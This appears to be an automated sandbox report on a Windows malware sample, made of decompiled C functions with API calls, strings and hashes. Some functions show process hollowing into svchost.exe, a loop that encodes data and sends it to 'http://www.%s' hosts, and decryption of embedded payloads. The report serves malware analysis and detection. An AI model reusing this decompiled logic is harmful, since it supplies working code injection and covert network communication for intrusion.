windowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E000F8400(void* __eax, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t18;
				signed int _t26;
				void* _t30;

				_t26 = __edx;
				_t30 = __eax;
				if( *((char*)(__eax + 0x2a8)) == 0) {
					_t11 = E000F7370(__eax + 0x250, __eflags);
					__eflags = _t11;
					if(_t11 != 0) {
						_t28 = _t30;
						E000F8160(_t30);
						goto L6;
					}
					goto L7;
				} else {
					_t18 = E000F7250(__eax + 0x2a8, __eax + 0x250);
					_push(0);
					if(_t18 == 0) {
						MessageBoxA( *(_t30 + 4), "Error writing file!\n", 0x11293e, ??);
						__eflags = 0;
						return 0;
					} else {
						SendMessageA( *(_t30 + 0x254), 0xb9, 0, ??);
						L6:
						E000FB170(_t30 + 0x108, _t30 + 0x2a8, _t26);
						E000FB730(_t30 + 0x108, _t26, _t28);
						L7:
						return 0;
					}
				}
			}

0x000f8400
0x000f8402
0x000f840c
0x000f845c
0x000f8461
0x000f8463
0x000f8465
0x000f8467
0x00000000
0x000f8467
0x00000000
0x000f840e
0x000f841b
0x000f8420
0x000f8424
0x000f844a
0x000f8450
0x000f8455
0x000f8426
0x000f8434
0x000f846c
0x000f8478
0x000f8483
0x000f848a
0x000f848d
0x000f848d
0x000f8424

APIs

Part of subcall function 000F7250: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,08000020,00000000), ref: 000F726A

SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F8434
MessageBoxA.USER32 ref: 000F844A

Strings

Error writing file!, xrefs: 000F8444

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$CreateFileSend
String ID: Error writing file!
API String ID: 162256061-2951117137
Opcode ID: cb6493fbbe0ff92558e4687fdf51d03a99c0b01426ad9ff0baf4deffaba31074
Instruction ID: 04729b34afbc147835867db1b4e926edadca213db1c84b67ea870a772a22f0ff
Opcode Fuzzy Hash: cb6493fbbe0ff92558e4687fdf51d03a99c0b01426ad9ff0baf4deffaba31074
Instruction Fuzzy Hash: A3018F312147096FD364E770CC85BE7B3D8AF80711F144929F396D6491EFB0B885A764

Uniqueness

Uniqueness Score: -1.00%

Function 02523627 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0252367B
CloseHandle.KERNEL32(?), ref: 02523689

Strings

D, xrefs: 0252365A

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: c4bf68d82b3d51c3a527826049e3f7cce7791e10676d504ed41b91a2660cc7b5
Instruction ID: 4e55b5eeed70d5fe3bdf81080b392e1bcac0fecc993890d1e8429ef5b6a36da2
Opcode Fuzzy Hash: c4bf68d82b3d51c3a527826049e3f7cce7791e10676d504ed41b91a2660cc7b5
Instruction Fuzzy Hash: 780112B194431CABEB10DFD0CD49FEE7779BB44704F144158E6086B2C0E7759A48DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04001E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E04007D20(E04007D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x04001e66
0x04001e71
0x04001e8b
0x04001e93
0x04001ebc
0x04001ec2
0x04001ecb
0x04001ecb
0x04001ebc
0x04001ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 04001EB4
CloseHandle.KERNEL32(?), ref: 04001EC2

Strings

D, xrefs: 04001E93

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction ID: 8c18c5092416b0968d1e58d42d3dcefe862203e4accbbf984a8d418911b9581a
Opcode Fuzzy Hash: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction Fuzzy Hash: 5C011275A4420CABEB10DF90DD45FEE77B9AB04704F148119E6087B2C0D775AA45C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0010E727 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0010E727(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t28 = __esi;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0010E20C(__edx, __edi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0010756D(__ebx, __edx, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0010756D(__ebx, __edx, __eflags);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0010E1E5(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0010E4BF(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0010e727
0x0010e72a
0x0010e730
0x0010e73e
0x0010e744
0x0010e74c
0x0010e758
0x0010e760
0x0010e768
0x0010e77c
0x0010e77e
0x0010e782
0x0010e787
0x0010e78d
0x0010e78f
0x0010e791
0x0010e794
0x00000000
0x0010e79b
0x0010e78f
0x0010e782
0x0010e77c
0x0010e768
0x0010e79c

APIs

Part of subcall function 0010E20C: __getptd.LIBCMT ref: 0010E212
Part of subcall function 0010E20C: __getptd.LIBCMT ref: 0010E222

__getptd.LIBCMT ref: 0010E736

Part of subcall function 0010756D: __getptd_noexit.LIBCMT ref: 00107570
Part of subcall function 0010756D: __amsg_exit.LIBCMT ref: 0010757D

__getptd.LIBCMT ref: 0010E744

Strings

csm, xrefs: 0010E752

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 559c4d3561921e727d0791c19e9835df3d85783294dbdb1521c4d4501f4ffcf9
Instruction ID: 9b4cf73557951b7c99d14983badcb7d6a39b8e7d97f397c483832108c605efcf
Opcode Fuzzy Hash: 559c4d3561921e727d0791c19e9835df3d85783294dbdb1521c4d4501f4ffcf9
Instruction Fuzzy Hash: 820169349003058ADF39AF22D844AADFBF5BF24311F644D2EE4C4962D2CBB0D980CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: pigalicapi.exePID: 6864, Parent PID: 3452COMMON

Executed Functions

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04004BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize();
					return 0;
				} else {
					E04007B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0x40118a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E04007B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E04008370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E040017D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0x40118a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E040017D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E04007B70(_v964, _v956, _v436);
													E04007B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E04007B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E04007B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E04007B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004BAC
SetEvent.KERNEL32(?), ref: 04004BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Strings

`, xrefs: 04004BE1
, xrefs: 04004EF0
pigalicapi, xrefs: 04005041, 04005080

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$pigalicapi
API String ID: 1834614700-42206024
Opcode ID: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction ID: f4bd0befb8abd7887e3d73177c72bf7f141d25b4899fa760b57ca1a426edb567
Opcode Fuzzy Hash: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction Fuzzy Hash: 39628DB1D00218ABFB14DBA0DC84FEDB7B9AF49309F04C559E6057B281E775AA84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040020B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E04007D20(_t121,  &_v1012, 0, 0x10);
				E04007D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04007B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E040026D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_v1100 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40);
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x040020bd
0x04002502
0x00000000
0x04002502
0x040020d4
0x040020e6
0x040020f0
0x040020fe
0x0400210f
0x0400210f
0x04002120
0x04002133
0x04002138
0x0400213b
0x0400214e
0x04002168
0x04002177
0x04002187
0x0400218d
0x04002194
0x040021c0
0x040021c8
0x040021fe
0x04002204
0x04002211
0x0400227d
0x0400228f
0x04002294
0x04002297
0x040022b2
0x040022ce
0x0400235e
0x04002363
0x040022d0
0x04002312
0x04002317
0x04002317
0x040022ac
0x040022ac
0x04002376
0x04002396
0x0400239e
0x040023ec
0x040023f2
0x0400240a
0x04002412
0x04002460
0x04002468
0x040024a6
0x040024ba
0x040024c2
0x040024e2
0x040024ef
0x040024fc
0x00000000
0x040024fc
0x040024cb
0x00000000
0x040024d1
0x04002473
0x04002480
0x0400248d
0x00000000
0x04002493
0x0400241d
0x0400242a
0x04002437
0x00000000
0x0400243d
0x040023a9
0x040023b6
0x040023c3
0x040023d4
0x00000000
0x040023da
0x0400222d
0x0400223a
0x00000000
0x00000000
0x04002245
0x04002252
0x0400225f
0x04002270
0x00000000
0x04002276
0x040021d5
0x00000000
0x04002196
0x00000000
0x04002196

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 040020D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 040020E6
lstrcatA.KERNEL32(?,0400C38C), ref: 040020FE
lstrcatA.KERNEL32(?,00000000), ref: 0400210F
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 04002187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 040021C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040021D5
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 040021FE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 04002227
TerminateProcess.KERNEL32(?,00000000), ref: 04002245
CloseHandle.KERNEL32(?), ref: 04002252
CloseHandle.KERNEL32(?), ref: 0400225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002270

Strings

SystemRoot, xrefs: 040020CF
D, xrefs: 0400213B
\system32\svchost.exe, xrefs: 040020DA

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction ID: 24de31acf85f81f6cd7956eb3c6d21bf067972eab508d3ad9c1f9881985dd567
Opcode Fuzzy Hash: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction Fuzzy Hash: 27D13F71A44215ABEB28DF54CC94FAE77B9FB48304F0486D8F609B7281D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E040047F0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				int _t71;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E04007B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796);
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_t71 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812); // executed
									_v808 = _t71;
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73); // executed
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E04007C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															E04007B70(_a12,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

0x040047f9
0x04004801
0x04004aab
0x04004ab1
0x04004814
0x04004814
0x0400482a
0x04004832
0x04004850
0x04004850
0x0400485a
0x04004860
0x0400486a
0x04004874
0x0400488f
0x040048b9
0x040048be
0x040048c1
0x040048c7
0x040048cd
0x040048eb
0x040048f3
0x04004a90
0x04004a96
0x04004889
0x00000000
0x04004889
0x00000000
0x04004a98
0x040048fd
0x0400490b
0x04004913
0x04004919
0x0400492c
0x0400493c
0x04004944
0x0400494a
0x0400496f
0x04004975
0x04004982
0x0400498f
0x04004995
0x040049a9
0x040049b1
0x040049c5
0x040049cc
0x040049d4
0x040049da
0x040049e4
0x04004a00
0x04004a07
0x04004a0f
0x04004a11
0x04004a2d
0x04004a34
0x04004a3c
0x04004a4b
0x04004a50
0x04004a58
0x04004a6a
0x04004a6f
0x04004a72
0x04004a72
0x04004a58
0x04004a3c
0x04004a0f
0x04004a7d
0x04004a7d
0x040049b1
0x0400498f
0x04004944
0x04004a8a
0x00000000
0x04004a8a
0x04004aa5
0x04004aa5
0x00000000
0x0400485a

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
GetLastError.KERNEL32 ref: 04004834
